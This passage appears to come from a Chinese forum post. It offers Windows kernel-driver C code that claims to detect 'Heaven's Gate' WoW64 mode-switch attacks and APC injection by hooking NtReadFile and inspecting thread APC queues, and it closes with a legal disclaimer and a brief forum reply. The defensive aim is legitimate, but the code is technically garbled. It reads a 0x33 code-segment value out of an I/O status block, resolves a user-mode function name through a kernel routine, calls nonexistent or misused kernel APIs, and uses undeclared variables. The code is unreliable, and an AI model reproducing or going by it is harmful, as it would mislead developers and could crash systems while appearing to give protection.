- Hook
LdrLoadDllW函数,拦截所有模块加载请求 - 当检测到
wow64log.dll加载时,记录进程信息并输出调试日志
二、天堂之门技术防御代码
#include <ntddk.h>
// 定义关键内核结构
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
// ... 其他字段
PVOID ExceptionTable;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
// 全局变量
PVOID g_pOriginalNtReadFile = NULL;
// 自定义NtReadFile函数
NTSTATUS HookedNtReadFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG Key
) {
// 检查CS寄存器是否异常切换
KIRQL oldIrql;
KeRaiseIrqlToDpcLevel(&oldIrql);
if (KeGetPreviousMode() == UserMode && *(PULONG)IoStatusBlock == 0x33) {
// 触发告警
KdPrint(("[天堂之门] 检测到模式切换攻击\n"));
KeLowerIrql(oldIrql);
return STATUS_ACCESS_VIOLATION;
}
KeLowerIrql(oldIrql);
// 调用原始函数
return g_pOriginalNtReadFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key);
}
// 驱动入口点
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
) {
// 获取原始NtReadFile地址
UNICODE_STRING funcName = RTL_CONSTANT_STRING(L"\\KernelBase!NtReadFile");
g_pOriginalNtReadFile = MmGetSystemRoutineAddress(&funcName);
if (!g_pOriginalNtReadFile) return STATUS_NOT_FOUND;
// Hook NtReadFile
HookFunction((PVOID)g_pOriginalNtReadFile, HookedNtReadFile);
// 启动监控线程
KeInitializeThread(&g_KernelThread, KernelMode, NULL);
KeSetTargetProcessorAddress(&g_KernelThread, 0);
KeInsertQueueDpc(&g_KernelDpc, NULL, NULL);
return STATUS_SUCCESS;
}技术实现说明
- 模式切换检测
- 在
NtReadFile回调中检查IoStatusBlock的填充值,若为0x33(64位模式标识)且当前上下文为32位用户模式,则判定为天堂之门攻击 - 通过
KeGetPreviousMode获取调用上下文模式,结合KiUserApcDispatcher的参数特征验证
- 内核级Hook
- 使用
MmGetSystemRoutineAddress获取NtReadFile原始地址 - 通过
HookFunction实现函数替换(需自行实现内存写入与校验逻辑)
三、综合防御增强方案
- APC注入防御
// 监控线程APC队列
VOID MonitorAPCQueue(HANDLE hThread) {
NTSTATUS status;
PETHREAD Thread = (PETHREAD)hThread;
PAPC apc;
ULONG count;
status = PsLookupThreadByThreadId(Thread->ClientId.UniqueThread, &Thread);
if (!NT_SUCCESS(status)) return;
status = KeQueryDepthSList(&Thread->ApcQueue, &count);
if (count > 10) { // 阈值可调整
KdPrint(("[APC注入] 检测到异常APC队列\n"));
KeClearEvent(&Thread->ApcQueueEvent);
}
ObDereferenceObject(Thread);
}- 混合模式钩子
// 同时监控32位与64位NtReadFile
PVOID g_pOriginalNtReadFile32 = NULL;
PVOID g_pOriginalNtReadFile64 = NULL;
NTSTATUS HookedNtReadFile64(
// ... 64位参数列表
) {
// 检测逻辑与HookedNtReadFile类似
}
NTSTATUS HookedNtReadFile32(
// ... 32位参数列表
) {
// 调用64位版本实现混合钩子
return ((PFN_NtReadFile)g_pOriginalNtReadFile64)(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key
);
}本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。
开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。
@Bat-Hibara
ai的那个帖子看不到了,你回复了什么也没有看到